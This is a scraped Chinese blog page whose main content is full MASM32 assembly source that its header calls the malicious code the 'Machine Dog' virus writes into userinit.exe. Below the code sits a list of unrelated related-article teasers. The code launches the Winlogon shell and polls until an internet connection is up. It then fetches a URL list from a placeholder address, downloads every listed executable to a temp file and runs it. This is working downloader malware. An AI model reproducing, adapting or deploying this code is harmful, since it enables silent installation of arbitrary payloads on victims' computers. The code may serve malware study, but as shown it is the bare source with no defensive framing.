-
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
-
; 机器狗写入到userinit.exe文件的恶意代码
-
; by naitm(http://hi.baidu.com/naitm)
-
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
-
.386
-
.model flat,stdcall
-
option casemap:none
-
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
-
; Include 文件定义
-
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
-
include windows.inc
-
include user32.inc
-
includelib user32.lib
-
include kernel32.inc
-
includelib kernel32.lib
-
include Advapi32.inc
-
includelib Advapi32.lib
-
include wininet.inc
-
includelib wininet.lib
-
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
-
; 数据段
-
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
-
.data
-
nThreadCount dd 0
-
g_ThreadCount dd 0
-
PathName db '.',0
-
szAgent db 'Shell',0
-
szUser32Dll db 'user32.dll',0
-
szLoadRemoteFonts db 'LoadRemoteFonts',0
-
szSubKey db 'SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon',0
-
szUrlList db 'http://127.0.0.1/cert.cer',0
-
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
-
; 代码段
-
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
-
.code
-
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
-
_RunIt proc @lpExePath
-
-
local @ProcessInformation:PROCESS_INFORMATION
-
local @StartupInfo:STARTUPINFO
-
-
-
invoke GetStartupInfo,addr @StartupInfo
-
invoke CreateProcess,0,@lpExePath,0,0,0,20h,0,0,addr @StartupInfo,addr @ProcessInformation
-
.if eax == 0
-
invoke CloseHandle,@ProcessInformation.hThread
-
invoke CloseHandle,@ProcessInformation.hProcess
-
.endif
-
-
leave
-
retn 4
-
_RunIt endp
-
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
-
_DownloadFile proc @lpURL,@lpSaveFile,@Buffer
-
-
local @hInternet,@hInternetFile,@hLocalFile,@nNumberOfBytesToWrite,@NumberOfBytesWritten,@nWriteCount
-
local @lpbuffer[200h]:BYTE
-
-
xor eax, eax
-
mov @nWriteCount, eax
-
invoke InternetOpen,addr szAgent,0,0,0,0
-
.if eax != 0
-
mov @hInternet, eax
-
invoke InternetSetOption,@hInternet,2,@Buffer,4
-
invoke InternetSetOption,@hInternet,6,@Buffer,4
-
invoke InternetOpenUrl,@hInternet,@lpURL,0,0,200000h,0
-
.if eax != 0
-
mov @hInternetFile, eax
-
mov @nNumberOfBytesToWrite, 0
-
mov @NumberOfBytesWritten, 200h
-
invoke HttpQueryInfo,@hInternetFile,13h,addr @lpbuffer,/
-
addr @NumberOfBytesWritten,addr @nNumberOfBytesToWrite
-
.if eax != 0
-
invoke CreateFile,@lpSaveFile,40000000h,0,0,4,0,0
-
.if eax != 0FFFFFFFFh
-
mov @hLocalFile, eax
-
.while TRUE
-
mov @nNumberOfBytesToWrite, 0
-
invoke InternetReadFile,@hInternetFile,addr @lpbuffer,200h,addr @nNumberOfBytesToWrite
-
.break .if (!eax)
-
.break .if (@nNumberOfBytesToWrite==0)
-
inc @nWriteCount
-
invoke WriteFile,@hLocalFile,addr @lpbuffer,@nNumberOfBytesToWrite,/
-
addr @NumberOfBytesWritten,0
-
.endw
-
invoke SetEndOfFile,@hLocalFile
-
invoke CloseHandle,@hLocalFile
-
.endif
-
.endif
-
invoke InternetCloseHandle,@hInternetFile
-
.endif
-
invoke InternetCloseHandle,@hInternet
-
.endif
-
mov eax, @nWriteCount
-
leave
-
retn 0Ch
-
-
_DownloadFile endp
-
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
-
_DownloadEXERunIt proc @lpURL
-
-
local @DownTimes
-
local @TempFileName[204h]:BYTE
-
local @TempFileName2[204h]:BYTE
-
local @szUrl[104h]:BYTE
-
-
mov @DownTimes, 3Ch
-
invoke lstrcpy,addr @szUrl,@lpURL
-
invoke RtlZeroMemory,addr @TempFileName,204
-
invoke GetTempFileName,offset PathName,0,0,addr @TempFileName
-
invoke lstrcpy,addr @TempFileName2,addr @TempFileName
-
-
DownloadNxTime:
-
invoke _DownloadFile,addr @szUrl,addr @TempFileName,1388h
-
or eax, eax
-
jz DownloadFailed
-
invoke lstrcpy,addr @TempFileName,addr @TempFileName2
-
invoke _RunIt,addr @TempFileName
-
jmp DownloadEnd
-
; ---------------------------------------------------------------------------
-
-
DownloadFailed:
-
invoke Sleep,3E8h
-
dec @DownTimes
-
jnz DownloadNxTime
-
-
DownloadEnd:
-
dec nThreadCount
-
leave
-
retn 4
-
_DownloadEXERunIt endp
-
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
-
start:
-
main proc
-
-
local hKey,hObject,hFile,lpBaseAddress,ThreadId
-
local szShellValue[104h]:BYTE
-
-
invoke LoadLibrary,offset szUser32Dll
-
or eax, eax
-
jz RegQueryShell
-
invoke GetProcAddress,eax,offset szLoadRemoteFonts
-
or eax, eax
-
jz RegQueryShell
-
call eax
-
-
RegQueryShell:
-
-
invoke RegOpenKeyEx,80000002h,offset szSubKey,0,20019h,addr hKey
-
or eax, eax
-
jnz TestInternet
-
mov ThreadId, 104h
-
invoke RtlZeroMemory,addr szShellValue,104h
-
invoke RegQueryValueEx,hKey,offset szAgent,0,0,addr szShellValue,addr ThreadId
-
invoke _RunIt,addr szShellValue
-
invoke RegCloseKey,hKey
-
-
TestInternet:
-
-
invoke Sleep,3E8h
-
invoke InternetGetConnectedState,addr ThreadId,0
-
or eax, eax
-
jnz InternetConnect_OK
-
jmp TestInternet
-
; ---------------------------------------------------------------------------
-
-
InternetConnect_OK:
-
invoke RtlZeroMemory,addr szShellValue,104h
-
invoke GetTempFileName,offset PathName,0,0,addr szShellValue
-
-
DownList:
-
-
invoke Sleep,3E8h
-
invoke _DownloadFile,offset szUrlList,addr szShellValue,1388h
-
or eax, eax
-
jz DownListFailed
-
-
-
mov nThreadCount, 0
-
invoke CreateFile,addr szShellValue,GENERIC_READ,0,0,3,0,0
-
cmp eax, INVALID_HANDLE_VALUE
-
jz ReaptDownList
-
-
-
mov hFile, eax
-
invoke GetFileSize,hFile,0
-
cmp eax, 0Fh
-
jnb BeginDownEXE
-
invoke CloseHandle,hFile
-
jmp DownList
-
; ---------------------------------------------------------------------------
-
-
BeginDownEXE:
-
invoke CreateFileMapping,hFile,0,2,0,0,0
-
or eax, eax
-
jz CreateMapFailed
-
mov hObject, eax
-
invoke MapViewOfFile,eax,4,0,0,0
-
or eax, eax
-
jz MapViewFailed
-
-
mov lpBaseAddress, eax
-
mov esi, eax
-
-
loc_4005E1:
-
lea edi, szShellValue
-
push 104h
-
push edi
-
call RtlZeroMemory
-
-
WetherNewLine:
-
lodsb
-
cmp al, 0Ah
-
jnz loc_4005F8
-
lodsb
-
-
loc_4005F8:
-
cmp al, 0Dh
-
jz loc_400605
-
stosb
-
or al, al
-
jz UrlListEnd
-
jmp WetherNewLine
-
; ---------------------------------------------------------------------------
-
jmp UrlListEnd
-
; ---------------------------------------------------------------------------
-
-
loc_400605:
-
cmp szShellValue, 0
-
jz NextLine
-
inc nThreadCount
-
invoke CreateThread,0,0,offset _DownloadEXERunIt,addr szShellValue,0,addr ThreadId
-
invoke CloseHandle,eax
-
invoke Sleep,64h
-
-
NextLine:
-
jmp loc_4005E1
-
; ---------------------------------------------------------------------------
-
-
UrlListEnd:
-
-
invoke UnmapViewOfFile,lpBaseAddress
-
-
MapViewFailed:
-
invoke CloseHandle,hObject
-
-
CreateMapFailed:
-
invoke CloseHandle,hFile
-
jmp WetherTreadend
-
; ---------------------------------------------------------------------------
-
-
ReaptDownList:
-
jmp DownList
-
; ---------------------------------------------------------------------------
-
jmp WetherTreadend
-
; ---------------------------------------------------------------------------
-
-
DownListFailed:
-
jmp DownList
-
; ---------------------------------------------------------------------------
-
-
WetherTreadend:
-
-
cmp nThreadCount, 0
-
jz ExitProgram
-
invoke Sleep,64h
-
jmp WetherTreadend
-
; ---------------------------------------------------------------------------
-
-
ExitProgram:
-
invoke ExitProcess,0
-
-
main endp
-
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
-
end start
相关推荐
【CubeMX】STM32G474 HRTIM 死区时间与互补PWM实战解析
本文深入解析STM32G474的HRTIM高分辨率定时器在互补PWM生成与死区时间配置中的应用。通过CubeMX工具详细演示时钟配置、单路PWM基础、互补输出与死区时间设置,并结合逆变器等电力电子实战案例,帮助开发者避免直通风险,优化系统性能。
机器狗写入到userinit.exe文件的下载者源码(c及汇编)
器狗源码(C语言的) // Test.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" //============================================================================== #include typedef struct _PARTITION_ENTRY { U
【物联网】探索NE555:一款经典的集成电路(超详细)
NE555是一种集成电路,其内部结构包括比较器、RS触发器、电压比较器和输出级三个主要功能模块,外部引脚则提供了与其他电路元件进行连接的接口。NE555的设计目的是为了提供一种简单方便的定时器解决方案,它广泛应用于模拟和数字电路中。NE555作为一款经典的集成电路,具备设计简单、易于使用和稳定可靠的特点,在电子领域发展了广泛的应用。从单稳态模式到多稳态模式,再到振荡器模式,NE555可以满足不同的需求,并且可以与其他电路元件灵活组合,扩展其功能。然而,需要注意的是NE555也有一些限制。
机器狗病毒样本(穿透冰和点还原卡)
目前网上流传一种叫做机器狗的病毒,此病毒采用hook系统的磁盘设备栈来达到穿透目的的,危害极大,可穿透目前技术条件下的任何软件硬件还原!基本无法靠还原抵挡。目前已知的所有还原产品,都无法防止这种病毒的穿透感染和传播。顺便说一句,这个病毒从技术上来说,可以大胆的猜测应该是还原业内人士开发研制的,这种技术的应用极为少见,且如果精通这种技术的高手要做病毒不会用这种hook系统的磁盘设备栈的方式,完全
小程序强制更新避坑指南:手把手教你实现无缝升级
本文详细解析小程序强制更新的实现方法,重点介绍wx.getUpdateManager API的使用技巧,帮助开发者规避冷热启动机制下的版本管理陷阱。通过实战案例展示如何设计多级更新提示策略,确保用户无缝升级,提升小程序版本更新率。
DisplayPort 1.4数据扰码实战:16bit LFSR并行优化技巧(附Verilog代码)
本文深入探讨了DisplayPort 1.4协议中16bit数据扰码的并行化实现。针对高带宽视频传输需求,文章详细推导了16位LFSR(线性反馈移位寄存器)的单周期16步并行计算公式,并提供了可直接使用的Verilog代码,解决了传统8bit串行处理吞吐量不足的瓶颈,为高速接口设计提供了关键优化技巧。
转载:天下论谈网友2-14 《机器狗 分析 源码 脱壳(抵制病毒!)》
首先确定 是MASM32 或 TASM32编写的! 下面是反遍情况! 超级字串参考+ 地址 反汇编 文本字串 00401056 PUSH explorer.00
Python爬虫实战:基于Scrapy与Playwright高效爬取人民网新闻数据
本文将详细介绍如何使用Python最新技术栈(Scrapy框架结合Playwright浏览器自动化工具)高效爬取人民网新闻数据。文章包含完整项目搭建、反反爬策略、数据解析存储以及性能优化等核心内容,提供可直接运行的代码示例,适合中高级Python开发者学习现代网络爬虫开发技术。python# 去除特殊空白字符。
微软技术日报 11-09:.NET 8 与 9 明日同时停止支持,注册表编辑器出了 WinUI 3 版
今天这四条消息的共同点是收口。.NET 8 和 9 的支持期到点,注册表编辑器的新界面只放在仓库里给人看,GitHub 把一类危险触发器按住默认,微软在安全报告里把防线从地址黑名单挪到行为。收口并不等于关门。.NET 10 还在支持期里,被按住的触发器可以用策略按文件放回来,实验室里的样例随时可能变成产品。区别在于这些动作要有人签字,不再是默认开着。如果今天只做一件事,去看一眼构建机上的 .NET 版本。明天之后,8 和 9 的漏洞补丁不会再来了。
《RT-DETR魔术师》专栏介绍 & 优快云独家改进创新实战 & 专栏目录
通过本专栏的阅读,后续你也可以自己魔改网络,在网络不同位置(Backbone、head、neck、loss等)进行魔改,实现创新!!!
华为OD新系统机试真题 - 端口流量统计
华为OD机试新系统真题【端口流量统计】,提供C语言、Java、C++、Python、Go、JavaScript源码实现,并提供完整思路讲解,以及在线OJ模拟做题。华为OD新系统4月26号机试真题【端口流量统计】。
AI驱动数据处理的安全边界:行业现状、风险权衡与本地化实践路径
本文基于第三方数据,分析AI用于数据处理的安全议题。大模型应用加速普及,但伴随数据出境、影子AI、幻觉与成本失控等风险。行业共识指向“脚本复用”路径:将分析逻辑本地化固化,实现数据可控、结果可复现、成本可降。产品如数以轻舟提供本地处理、多模型接入与一次付费永久使用方案。建议企业从数据落点、可控性、可复现性与合规性四维度评估选型,推动AI在安全边界内释放价值。
YOLOv8与UNetV2融合:一种面向目标检测与图像分割的混合方法【附核心代码】
我们提出了一种基于YOLOv8和UNetV2相结合的混合架构。该架构利用YOLOv8作为主干进行目标检测,同时在YOLOv8的特征提取过程中,引入UNetV2来进行图像分割任务的增强。在该架构中,YOLOv8负责大范围目标检测和位置预测,而UNetV2则在检测网络的特征图基础上,通过其高效的上下文信息提取和细节恢复能力,进一步优化分割任务。在本文中,我们提出了一种改进YOLOv8的方法,通过引入图像分割网络UNetV2来提高图像分割检测性能。
微软技术日报 11-08:Foundry 与 Entra 各挂一个 10.0 分漏洞,Foundry 接 fal 五款视频模型
这一周的动作可以分成两类。一类在收。Copilot 从电视上退场,搜索里的 AI 改成可选,云端漏洞只发通知不收补丁。共同点是承认铺得太开,代价比预期高。另一类在放。Foundry 一次摆上五个视频模型,容器版应用网关一个入口挂 64 个 MCP 服务器。共同点是把能力做成可组合的积木,让使用者按需挑。两个方向背后是同一个判断。把能力塞到每一个界面上,短期看覆盖率高,长期要解释为什么删不掉。新的做法是先给一个能关的开关,再谈覆盖。对每天写代码的人来说,今天有两样现成的东西可以试。
C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片
基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正
TMS_WebGMaps_1.9.8.0_Full_Source
TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder
微软技术周报 11-02~11-09:VS Code 混装 Claude 与 Codex、EF Core 11 静默改行为、.NET 11 倒计时
11 月 6 日,Power Platform 通过消息中心通知管理员,Copilot Studio、Power Automate 和 Power Apps 里所有跑在 Anthropic Claude、xAI Grok 以及旧版 GPT 上的 prompt,12 月 2 日自动迁移到 GPT-6 系列,档位价格不变,模型选择收窄到一条产品线。效果是这样的:让 Claude 评审一个 Copilot chat 写出的方案,或者把同样的任务交给 Codex,两边并排跑在同一个会话里。更要紧的是下周的时间线。
visio安装包
Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。
MAI-Cyber-1 深度解析:微软首个网络安全专用模型
微软没有去做"更大的安全大模型",而是用一颗 137B 总参、仅 5B 激活的稀疏 MoE 专用模型,配上 90/10 的"小模型铺量、大模型兜底"路由,在 CyberGym 基准上拿到 95.95% 的同时把成本砍掉一半——这标志着 AI 安全从"通用模型加提示词"进入了"专用模型加系统工程"的时代。
Statistics and Machine Learning Toolbox
Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具
微软输入法标点乱跳解决方案
微软拼音输入法常因“中文输入时使用英文标点”开关被意外开启,导致标点自动切换为英文且快捷键失效。本文提供一键批处理脚本,通过修改注册表(HKCU\Software\Microsoft\InputMethod\Settings\CHS)强制锁定中文标点,覆盖多个相关键值,确保设置持久生效。相比手动操作,该方案可抵御更新、同步等导致的配置重置,提升稳定性。执行后需重启输入法或系统以使更改生效,建议提前备份注册表。
微软2026年11月补丁星期二解析:1094个 CVE、Outlook 零日 CVE-2026-124194 与修复优先级
微软11月补丁星期二修复1094个 CVE,唯一在野利用的 Outlook 零日 CVE-2026-124194 只评为“中等”,修复随 Office 更新下发、不在 Windows 累积更新里。本文整理漏洞分布、严重级漏洞分类处置与三档修复优先级。
微软 BioEmu2 实测:AI 设计的抗体,能否通过动态模拟提前筛选?
微软 BioEmu2 实测:AI 设计的抗体,能否通过动态模拟提前筛选?**2026 年 10 月 26 日,展示了一个 AI 抗体候选的 10 纳秒传播动画。**但这个案例留下的最大问题,仍是实验室门前那道选择题:一批看起来合理的设计,究竟该把哪几个送去测试?Ford 正在参与 Adaptyv 与 Anthropic 的蛋白设计竞赛,也在开发抗体语言模型。**但他在原文中坦言,生成候选容易,挑出值得测试的候选依然困难。**本文解读他的公开实测,并对照微软文档核查证据边界,未独立运行模型。
【第 008 讲】在终端中运行 Python 程序:交互模式与脚本模式 | 绝对路径与相对路径 | 以模块方式运行 | 常见报错的识别与排查
本文系统讲解在终端中运行 Python 程序的方式:从交互模式与脚本模式讲起,梳理绝对路径与相对路径的运行写法及 cd、dir 等命令的用法;进而讲解以模块方式运行的特点与字节码缓存的产生;最后通过路径、拼写、标点三类典型报错,帮助读者掌握读懂报错、定位并修复错误的排查思路。
企业微信 × AI 对接第六步:模板卡片交互闭环——按钮回调、ResponseCode 状态机、卡片更新(附跑通代码)
AI 生成的审批建议,让主管在卡片上直接点"同意/驳回",比跳系统快一个数量级——这是企业微信模板卡片消息的交互闭环:发送时带 task_id 和按钮 key,用户点击后企微回调 EventKey/TaskId/ResponseCode,你拿 ResponseCode(72 小时有效、只能用一次)调 update_template_card 把卡片原地改成"已处理"。这篇把五种卡片类型、回调字段、更新接口一次讲透,附一个带完整防御(重复核销/超时/未知 key 拒绝)的状态机代码,本地实测跑通四种场景。
情感交互机器人融资,四川具身科技的「爱湫」登场
当前人形机器人的主流战场是工业、仓储、巡检这些「干活」的场景,而「爱湫」把重心放在了「陪伴」上——通过面部投影和情绪识别,让机器人和人之间多一层情感层面的交互。情感交互机器人的市场,其实一直存在,只是过去被「能干活」的主流叙事盖住了。它主推的产品「爱湫」,是一款主打情感交互的人形机器人,搭载 3D 投影面部技术,情感交互机器人的逻辑,是面向养老陪伴、文旅服务、展厅导览这类「不要求重体力、但要求互动感」的场景。真正的考验不在发布会,而在它能不能在真实的养老和陪伴场景里,被用户用起来、留下来。
微软 365 全球掉线复盘,Purview 数据治理退役,C++ 动态调试转正
把今天这几条放在一起,会看到一个共同的题目,系统的自动判断出错时,人还能不能兜住。故障那条是自动判断误判。健康检查本来的职责是把坏机器摘出去,这次它把还能用的机器也摘了,剩下的机器承接双倍压力,再被摘掉,容量一路缩减。微软的补救方向很说明问题,一边验证一套替代的健康检查方式,一边准备自动检测并重启无响应服务器的机制,等于在原来的判断链路上加第二道保险。脚本那条是校验从宽容变严格。旧文件在宽松的校验下一直能用,规则一收紧,一批历史遗留的编码问题同时浮出水面,而表象是「签名没了」。
微软技术日报 2026-11-07:Copilot 本机跑 27B 模型、Front Door 默认后量子 TLS、Beta 转 26H2
四条消息挤在同一天,方向各不相同:Foundry Local 把 27B 的编码模型压进了 24GB 显存并接进 GitHub Copilot;Azure Front Door 把入站 TLS 1.3 的混合后量子密钥交换设成了默认;Windows Insider 一次放出五个构建,Beta 通道正式转到 26H2;Power Platform 通知管理员,12 月 2 日提示模型换血,Claude 与 Grok 一起退出。四条放在一起看,有两条在改默认值,两条在改节奏。
微软Copilot生态深度解析:从办公助手到超级应用的整合趋势与实战技巧
在人工智能技术飞速发展的今天,微软Copilot已成为连接用户与AI生产力的核心桥梁。虽然“copilot-analysis”这一特定仓库可能指向具体的分析脚本或文档,但从更宏观的视角来看,它代表了当前对微软Copilot生态系统的深度探索。Copilot不仅仅是一个聊天机器人,它已经深度嵌入到Excel、Word、GitHub等核心生产力工具中,甚至正在向“超级应用”演进。
全球化筑基,AI 赋能新体验,openKylin 3.0 SP1 正式发布
本次版本更新以国际化为底座,围绕国际化体验、AI 融合、硬件生态、系统质量四大方向完成全面升级:新增阿拉伯语、朝鲜语、傣语等多语言支持;持续强化重点平台与关键外设适配能力,完善飞腾 D3000M、进迭时空 V100 等平台图形显示、网卡驱动、高性能计算等能力,进一步拓展 openKylin 在多架构、多设备场景下的兼容边界。围绕系统稳定性、硬件兼容性与用户体验持续迭代,累计完成 200 余项缺陷修复与细节优化,覆盖桌面交互、图形显示、设备管理等核心场景,推动系统更加稳定、流畅、易用。
746



被折叠的 条评论
为什么被折叠?



